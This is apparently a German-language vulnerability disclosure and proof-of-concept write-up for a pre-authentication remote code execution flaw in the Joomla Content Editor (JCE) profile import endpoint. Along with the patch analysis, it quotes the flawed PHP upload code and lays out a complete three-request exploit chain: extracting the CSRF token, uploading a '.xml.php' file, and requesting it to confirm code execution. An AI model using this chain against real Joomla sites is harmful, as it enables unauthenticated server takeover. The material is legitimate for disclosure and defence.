
Proof-of-Concept-Exploit und technische Analyse für CVE-2026-48907, eine CVSS-10.0-Pre-Authentifizierungs-Remote-Code-Ausführungsschwachstelle im Joomla Content Editor (JCE). Enthält eine 3-Request-Angriffskette und detaillierte Patch-Analyse.
Proof-of-Concept-Exploit für CVE-2026-48907 – eine CVSS 10.0 nicht authentifizierte Remote-Code-Ausführung-Schwachstelle in der Joomla Content Editor (JCE)-Erweiterung.
Forschung vom Grayxploit Security Team
CVE-2026-48907 ist eine kritische, nicht authentifizierte Remote-Code-Ausführung (RCE)-Schwachstelle in der Joomla Content Editor (JCE)-Erweiterung – dem am weitesten verbreiteten Joomla-Editor – in allen Versionen bis einschließlich 2.9.99.4.
Durch die Verkettung von drei unabhängigen Sicherheitsschwachstellen im JCE-Profilimport-Workflow kann ein völlig unauthentifizierter Angreifer Folgendes tun:
/tmp/-Verzeichnis des Servers hochladenDer Angriff erfordert nur 3 HTTP-Anfragen und funktioniert gegen jede Standard-Joomla-Installation mit einer verwundbaren JCE-Version.
CVSS v4 Punktzahl: 10.0 — Kritisch
Entdeckt und öffentlich offengelegt vom Grayxploit Security-Forschungsteam nach verantwortungsvoller Offenlegung.
| Software | Verwundbare Versionen | Patch-Version |
|---|---|---|
| Joomla Content Editor (JCE) | ≤ 2.9.99.4 | 2.9.99.6 (empfohlen) |
Hinweis: 2.9.99.5 führte den Kernfix ein. 2.9.99.6 fügte zusätzliche Härtungsschichten hinzu. Aktualisieren Sie auf 2.9.99.6 oder höher.
Die Schwachstelle hat ihren Ursprung im JCE-Profilimport-Endpunkt:
POST /index.php?option=com_jce&task=profiles.import
JCE erlaubt Administratoren, Editorprofile als XML-Dateien zu exportieren und zu importieren. Der Import-Handler ist ohne Authentifizierung erreichbar und akzeptiert aufgrund einer Kette von drei unabhängigen Schwachstellen beliebige Datei-Uploads.
Die Import-Controller führte keine ACL-Prüfung durch:
public function import()
{
// Only gate: CSRF token — trivially bypassable
Session::checkToken() or jexit(JText::_('JINVALID_TOKEN'));
$app = Factory::getApplication();
// … straight into file handling — no authorise() check
}
Joomla bettet das CSRF-Token in jede öffentliche Seite als Meta-Tag oder JavaScript-Variable ein:
<meta name="csrf.token" content="abcdef1234567890abcdef1234567890" />
Ein Angreifer ruft einfach die Startseite ab, extrahiert das Token und spielt es erneut ab. Die CSRF-Prüfung verhindert Cross-Site-Anfragen – sie verhindert nicht direkte scriptgesteuerte Anfragen. Es gab keinen Aufruf von Factory::getUser() oder $user->authorise(...) im gesamten Import-Pfad.
Der Upload-Handler verwendete File::makeSafe(), das nur ungültige Dateisystemzeichen entfernt – es überprüft oder schränkt Dateiendungen nicht ein:
$file = $app->input->files->get('profile_file', null, 'raw');
if (!is_uploaded_file($file['tmp_name'])) { return false; }
$name = File::makeSafe($file['name']); // strips illegal chars only
$destination = $config->get('tmp_path') . '/' . $name;
$source = $file['tmp_name'];
File::upload($source, $destination, false, true);
Ein Dateiname wie shell.xml.php passiert File::makeSafe() unverändert. Apache's mod_php führt ihn aus, da die letzte erkannte Endung .php ist. Endungen wie .php, .php5, .phtml und Doppelvarianten wurden alle akzeptiert.
File::upload() mit $allow_unsafe = true aufgerufen (CWE-116)Joomla's File::upload() verfügt über eine integrierte Erweiterungs-Blacklist, die gefährliche Dateitypen blockiert, wenn $allow_unsafe = false (Standard) ist:
// Joomla File::upload() signature
File::upload($src, $dest, $use_streams = false, $allow_unsafe = false)
Der verwundbare JCE-Code hat dieses Sicherheitsnetz explizit deaktiviert:
// VULNERABLE — unsafe uploads explicitly enabled
File::upload($source, $destination, false, true);
Dieser einzelne Boolean-Wert schaltete die gesamte interne Erweiterungs-Blacklist von Joomla aus, sodass .php, .php5, .phtml und alle anderen ausführbaren Erweiterungen auf die Festplatte geschrieben werden konnten.
┌─────────────────────────────────────────────────────────────────┐
│ │
│ ① GET / │
│ ← Extract csrf_token from HTML/JS │
│ │
│ ② POST /index.php?option=com_jce&task=profiles.import │
│ Content-Type: multipart/form-data │
│ │
│ --boundary │
│ Content-Disposition: form-data; name="task" │
│ profiles.import │
│ --boundary │
│ Content-Disposition: form-data; name="<csrf_token>" │
│ 1 │
│ --boundary │
│ Content-Disposition: form-data; │
│ name="profile_file"; │
│ filename="shell-<hash>.xml.php" │
│ Content-Type: application/xml │
│ │
│ <?= 45*69 ?> │
│ --boundary-- │
│ │
│ ← 200 OK (file written to /var/www/html/tmp/) │
│ │
│ ③ GET /tmp/shell-<hash>.xml.php │
│ ← Response: "3105" (45 × 69 = RCE confirmed ✓) │
│ │
└─────────────────────────────────────────────────────────────────┘
No session cookie. No username. No password. 3 HTTP requests.